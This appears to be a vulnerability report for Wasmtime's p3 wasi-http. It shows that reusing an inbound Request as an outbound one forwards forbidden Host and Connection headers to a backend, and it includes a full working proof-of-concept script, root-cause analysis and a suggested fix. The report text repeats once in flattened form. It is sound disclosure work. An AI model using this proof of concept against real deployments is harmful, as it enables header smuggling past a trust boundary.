Test Case
No upload is needed — the vulnerable workload is a p3 wasi-http service component that is built inline by the reproduction script in Steps to Reproduce. Its full source (≈40 lines) is shown first so the report is fully
self-contained:
// crates-style minimal p3 http service: forward the inbound request to a URL
// given in an `url` header, reusing the SAME request resource.
use test_programs::p3::{
service::exports::wasi::http::handler::Guest as Handler,
wasi::http::{
client,
types::{ErrorCode, Request, Response, Scheme},
},
};
struct Component;
test_programs::p3::service::export!(Component);
impl Handler for Component {
async fn handle(request: Request) -> Result<Response, ErrorCode> {
// Read the destination URL from a request header, then **reuse** the
// inbound `Request` resource (with all its original headers) as the
// outbound request by only changing scheme/authority/path.
let headers = request.get_headers().copy_all();
let url = headers
.iter()
.find_map(|(name, value)| {
(name == "url").then(|| core::str::from_utf8(value).ok()).flatten()
})
.ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?;
let rest = url
.strip_prefix("http://")
.ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?;
let (authority, path) = match rest.find('/') {
Some(i) => (&rest[..i], &rest[i..]),
None => (rest, "/"),
};
request.set_scheme(Some(&Scheme::Http)).unwrap();
request.set_authority(Some(authority)).unwrap();
request.set_path_with_query(Some(path)).unwrap();
client::send(request).await
}
}
fn main() {}
A guest cannot create Host / Connection / Transfer-Encoding headers
through the normal Fields API — HostFields::{from_list,set,append} reject
DEFAULT_FORBIDDEN_HEADERS (crates/wasi-http/src/lib.rs:76). The bug is that a
guest that receives a p3 incoming Request can reuse that same resource as
an outbound request, and the forbidden headers attached to the inbound request
cross the trust boundary into the outbound backend request.
Steps to Reproduce
Copy-paste the entire script below into a file (e.g. poc.sh) and run it
from a Wasmtime source checkout. It needs only cargo, rustc (with the
wasm32-wasip1 target), python3, and a C toolchain. It builds a tiny p3
service component inline, encodes it, starts wasmtime serve, sends an inbound
request carrying Host: victim.internal + Connection: close, and captures the
raw bytes that reach a local backend socket.
#!/usr/bin/env bash
set -euo pipefail
# Run from a Wasmtime source checkout, or: WASMTIME_ROOT=/path/to/wasmtime ./poc.sh
ROOT="${WASMTIME_ROOT:-$(pwd)}"
if [[ ! -d "$ROOT/crates/wasi-http" ]]; then
echo "error: $ROOT is not a Wasmtime checkout (set WASMTIME_ROOT)" >&2
exit 1
fi
cd "$ROOT"
WORK="$(mktemp -d "${TMPDIR:-/tmp}/wasmtime-p3-header-poc.XXXXXX")"
trap 'rm -rf "$WORK"' EXIT
COMPONENT_DIR="$WORK/component"
ENCODER_DIR="$WORK/encoder"
COMPONENT_WASM="$WORK/p3_host_forward_component.component.wasm"
mkdir -p "$COMPONENT_DIR/src" "$ENCODER_DIR/src"
# --- tiny p3 service component (source shown in Test Case) ---
cat > "$COMPONENT_DIR/Cargo.toml" <<EOF
[workspace]
[package]
name = "p3-host-forward-component"
version = "0.1.0"
edition = "2024"
[dependencies]
test-programs = { path = "$ROOT/crates/test-programs" }
EOF
cat > "$COMPONENT_DIR/src/main.rs" <<'EOF'
use test_programs::p3::{
service::exports::wasi::http::handler::Guest as Handler,
wasi::http::{
client,
types::{ErrorCode, Request, Response, Scheme},
},
};
struct Component;
test_programs::p3::service::export!(Component);
impl Handler for Component {
async fn handle(request: Request) -> Result<Response, ErrorCode> {
let headers = request.get_headers().copy_all();
let url = headers
.iter()
.find_map(|(name, value)| {
(name == "url")
.then(|| core::str::from_utf8(value).ok())
.flatten()
})
.ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?;
let rest = url
.strip_prefix("http://")
.ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?;
let (authority, path) = match rest.find('/') {
Some(i) => (&rest[..i], &rest[i..]),
None => (rest, "/"),
};
request.set_scheme(Some(&Scheme::Http)).unwrap();
request.set_authority(Some(authority)).unwrap();
request.set_path_with_query(Some(path)).unwrap();
client::send(request).await
}
}
fn main() {}
EOF
# --- helper to encode the wasm module into a component ---
cat > "$ENCODER_DIR/Cargo.toml" <<EOF
[workspace]
[package]
name = "p3-host-forward-encoder"
version = "0.1.0"
edition = "2024"
[dependencies]
anyhow = "1"
wit-component = "0.251.0"
EOF
cat > "$ENCODER_DIR/src/main.rs" <<'EOF'
use anyhow::{Context, bail};
use std::{env, fs};
use wit_component::ComponentEncoder;
fn main() -> anyhow::Result<()> {
let args = env::args().collect::<Vec<_>>();
if args.len() != 4 {
bail!("usage: {} <module.wasm> <adapter.wasm> <out.component.wasm>", args[0]);
}
let module = fs::read(&args[1]).with_context(|| format!("read {}", args[1]))?;
let adapter = fs::read(&args[2]).with_context(|| format!("read {}", args[2]))?;
let component = ComponentEncoder::default()
.module(&module)?
.validate(true)
.adapter("wasi_snapshot_preview1", &adapter)?
.encode()?;
fs::write(&args[3], component).with_context(|| format!("write {}", args[3]))?;
Ok(())
}
EOF
echo "[*] Building the p3 service component"
cargo build --manifest-path "$COMPONENT_DIR/Cargo.toml" --target wasm32-wasip1 >/dev/null
ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm 2>/dev/null | head -n1 || true)"
if [[ -z "$ADAPTER" ]]; then
echo "[*] Reactor adapter not found; building test-programs artifacts once"
cargo build -p test-programs-artifacts >/dev/null
ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm | head -n1)"
fi
echo "[*] Encoding the component"
cargo run --manifest-path "$ENCODER_DIR/Cargo.toml" -- \
"$COMPONENT_DIR/target/wasm32-wasip1/debug/p3-host-forward-component.wasm" \
"$ADAPTER" \
"$COMPONENT_WASM" >/dev/null
WASMTIME="$ROOT/target/debug/wasmtime"
if [[ ! -x "$WASMTIME" ]]; then
WASMTIME="$ROOT/target/release/wasmtime"
fi
if [[ ! -x "$WASMTIME" ]]; then
echo "[*] wasmtime binary not found; building target/debug/wasmtime"
cargo build --bin wasmtime >/dev/null
WASMTIME="$ROOT/target/debug/wasmtime"
fi
echo "[*] Running the network proof"
PYTHONWARNINGS=ignore python3 - "$ROOT" "$COMPONENT_WASM" "$WASMTIME" <<'PY'
import socket
import subprocess
import sys
import threading
import time
from pathlib import Path
root = Path(sys.argv[1])
component = Path(sys.argv[2])
wasmtime = Path(sys.argv[3])
capture = {}
ready = threading.Event()
def backend():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 0))
srv.listen(1)
capture["backend_port"] = srv.getsockname()[1]
ready.set()
conn, _ = srv.accept()
data = b""
conn.settimeout(5)
while b"\r\n\r\n" not in data:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
capture["raw"] = data
conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
conn.close()
srv.close()
threading.Thread(target=backend, daemon=True).start()
if not ready.wait(5):
raise SystemExit("backend did not start")
backend_port = capture["backend_port"]
s = socket.socket()
s.bind(("127.0.0.1", 0))
serve_port = s.getsockname()[1]
s.close()
serve = subprocess.Popen(
[
str(wasmtime),
"serve",
"-S",
"cli",
"--addr",
f"127.0.0.1:{serve_port}",
str(component),
],
cwd=str(root),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
)
try:
deadline = time.time() + 20
while time.time() < deadline:
try:
c = socket.create_connection(("127.0.0.1", serve_port), timeout=0.2)
c.close()
break
except OSError:
if serve.poll() is not None:
out = serve.stdout.read() if serve.stdout else ""
raise SystemExit(f"wasmtime exited early:\n{out}")
time.sleep(0.1)
else:
raise SystemExit("wasmtime serve did not start")
inbound = (
f"GET /trigger HTTP/1.1\r\n"
f"Host: victim.internal\r\n"
f"Connection: close\r\n"
f"url: http://127.0.0.1:{backend_port}/forwarded\r\n"
f"\r\n"
).encode()
c = socket.create_connection(("127.0.0.1", serve_port), timeout=5)
c.sendall(inbound)
c.settimeout(5)
while True:
try:
chunk = c.recv(4096)
except socket.timeout:
break
if not chunk:
break
c.close()
raw = capture.get("raw", b"")
text = raw.decode("latin1", "replace")
print("----- backend raw request -----")
print(text)
print("----- verification -----")
host_lines = [l for l in text.split("\r\n") if l.lower().startswith("host:")]
conn_lines = [l for l in text.split("\r\n") if l.lower().startswith("connection:")]
print("host lines:", host_lines)
print("connection lines:", conn_lines)
assert any(l == "host: victim.internal" for l in host_lines), "inbound Host not forwarded"
assert any(l.startswith("host: 127.0.0.1:") for l in host_lines), "backend Host not appended"
assert len(host_lines) >= 2, "duplicate Host headers not observed"
assert any(l == "connection: close" for l in conn_lines), "Connection header not forwarded"
print("POC VERIFIED: forbidden inbound headers crossed into the outbound backend request")
finally:
serve.terminate()
try:
serve.wait(timeout=5)
except subprocess.TimeoutExpired:
serve.kill()
serve.wait()
PY
Expected Results
- The outbound request reaching the backend should contain only one
Host
header — the one Wasmtime derives from the outbound authority
(127.0.0.1:<backend-port>).
- The attacker-supplied inbound
Host: victim.internal must not be present
in the outbound request.
- Hop-by-hop headers such as
Connection must not be forwarded to the
backend (they are in DEFAULT_FORBIDDEN_HEADERS and are rejected when a guest
tries to set them on a freshly created Fields).
Actual Results
The backend receives the inbound request's headers unchanged, forwarded across
the trust boundary, plus a second Host appended for the backend
authority. Verified output (timestamps/ports vary):
----- backend raw request -----
GET /forwarded HTTP/1.1
host: victim.internal
host: 127.0.0.1:34567
connection: close
url: http://127.0.0.1:34567/forwarded
----- verification -----
host lines: ['host: victim.internal', 'host: 127.0.0.1:34567']
connection lines: ['connection: close']
POC VERIFIED: forbidden inbound headers crossed into the outbound backend request
So:
- Duplicate, conflicting
Host headers (victim.internal and the real backend)
reach the backend — an attacker-controlled inbound Host survives into the
outbound request.
- The
Connection hop-by-hop header is forwarded to the backend, despite being
forbidden for guest-created outbound requests.
Versions and Environment
Wasmtime version or commit: dev-74-g2753ee7393 (commit 2753ee7393,
main, with the p3 feature)
Operating system: Linux (Ubuntu, kernel 5.15.0-139-generic)
Architecture: x86-64
Toolchain: stable Rust with the wasm32-wasip1 target, python3.
Extra Info
Root cause (all line numbers against current main):
crates/wasi-http/src/handler.rs:1240 — incoming p3 proxy requests are turned into p3 Request resources via p3::Request::from_http(request).
crates/wasi-http/src/p3/request.rs:92–126 — from_http stores the inbound headers unchanged at line 122: FieldMap::new_immutable(headers). Nothing strips DEFAULT_FORBIDDEN_HEADERS.
crates/wasi-http/src/p3/request.rs:213–221 — when the reused request is turned back into an outbound HTTP request, into_http_with_getter appends a Host for the outbound authority (headers.append(HOST, host)) without first removing any existing Host, yielding duplicate Host headers.
crates/wasi-http/src/p3/request.rs:238–244 — the outbound http::Request is built from this unchanged header map, so the inbound Host and Connection are carried on the wire.
crates/wasi-http/src/lib.rs:76–85 — Host, Connection, Transfer-Encoding, etc. are defined as DEFAULT_FORBIDDEN_HEADERS.
crates/wasi-http/src/p3/host/types.rs:198–288 — guest-created fields reject exactly these forbidden headers, so the reuse path bypasses the API-level restriction that the regular Fields API enforces.
Suggested fix: when constructing p3 incoming requests from host HTTP requests, strip DEFAULT_FORBIDDEN_HEADERS before storing them in the p3 Request, matching the p2 new_incoming_request behavior. Additionally, into_http_with_getter should replace any existing Host value rather than append a second one.
Test Case
No upload is needed — the vulnerable workload is a p3
wasi-httpservice component that is built inline by the reproduction script in Steps to Reproduce. Its full source (≈40 lines) is shown first so the report is fullyself-contained:
A guest cannot create
Host/Connection/Transfer-Encodingheadersthrough the normal
FieldsAPI —HostFields::{from_list,set,append}rejectDEFAULT_FORBIDDEN_HEADERS(crates/wasi-http/src/lib.rs:76). The bug is that aguest that receives a p3 incoming
Requestcan reuse that same resource asan outbound request, and the forbidden headers attached to the inbound request
cross the trust boundary into the outbound backend request.
Steps to Reproduce
Copy-paste the entire script below into a file (e.g.
poc.sh) and run itfrom a Wasmtime source checkout. It needs only
cargo,rustc(with thewasm32-wasip1target),python3, and a C toolchain. It builds a tiny p3service component inline, encodes it, starts
wasmtime serve, sends an inboundrequest carrying
Host: victim.internal+Connection: close, and captures theraw bytes that reach a local backend socket.
Expected Results
Hostheader — the one Wasmtime derives from the outbound authority
(
127.0.0.1:<backend-port>).Host: victim.internalmust not be presentin the outbound request.
Connectionmust not be forwarded to thebackend (they are in
DEFAULT_FORBIDDEN_HEADERSand are rejected when a guesttries to set them on a freshly created
Fields).Actual Results
The backend receives the inbound request's headers unchanged, forwarded across
the trust boundary, plus a second
Hostappended for the backendauthority. Verified output (timestamps/ports vary):
So:
Hostheaders (victim.internaland the real backend)reach the backend — an attacker-controlled inbound
Hostsurvives into theoutbound request.
Connectionhop-by-hop header is forwarded to the backend, despite beingforbidden for guest-created outbound requests.
Versions and Environment
Wasmtime version or commit:
dev-74-g2753ee7393(commit2753ee7393,main, with the
p3feature)Operating system: Linux (Ubuntu, kernel
5.15.0-139-generic)Architecture: x86-64
Toolchain: stable Rust with the
wasm32-wasip1target,python3.Extra Info
Root cause (all line numbers against current
main):crates/wasi-http/src/handler.rs:1240— incoming p3 proxy requests are turned into p3Requestresources viap3::Request::from_http(request).crates/wasi-http/src/p3/request.rs:92–126—from_httpstores the inboundheadersunchanged at line 122:FieldMap::new_immutable(headers). Nothing stripsDEFAULT_FORBIDDEN_HEADERS.crates/wasi-http/src/p3/request.rs:213–221— when the reused request is turned back into an outbound HTTP request,into_http_with_getterappends aHostfor the outbound authority (headers.append(HOST, host)) without first removing any existingHost, yielding duplicateHostheaders.crates/wasi-http/src/p3/request.rs:238–244— the outboundhttp::Requestis built from this unchanged header map, so the inboundHostandConnectionare carried on the wire.crates/wasi-http/src/lib.rs:76–85—Host,Connection,Transfer-Encoding, etc. are defined asDEFAULT_FORBIDDEN_HEADERS.crates/wasi-http/src/p3/host/types.rs:198–288— guest-created fields reject exactly these forbidden headers, so the reuse path bypasses the API-level restriction that the regularFieldsAPI enforces.Suggested fix: when constructing p3 incoming requests from host HTTP requests, strip
DEFAULT_FORBIDDEN_HEADERSbefore storing them in the p3Request, matching the p2new_incoming_requestbehavior. Additionally,into_http_with_gettershould replace any existingHostvalue rather thanappenda second one.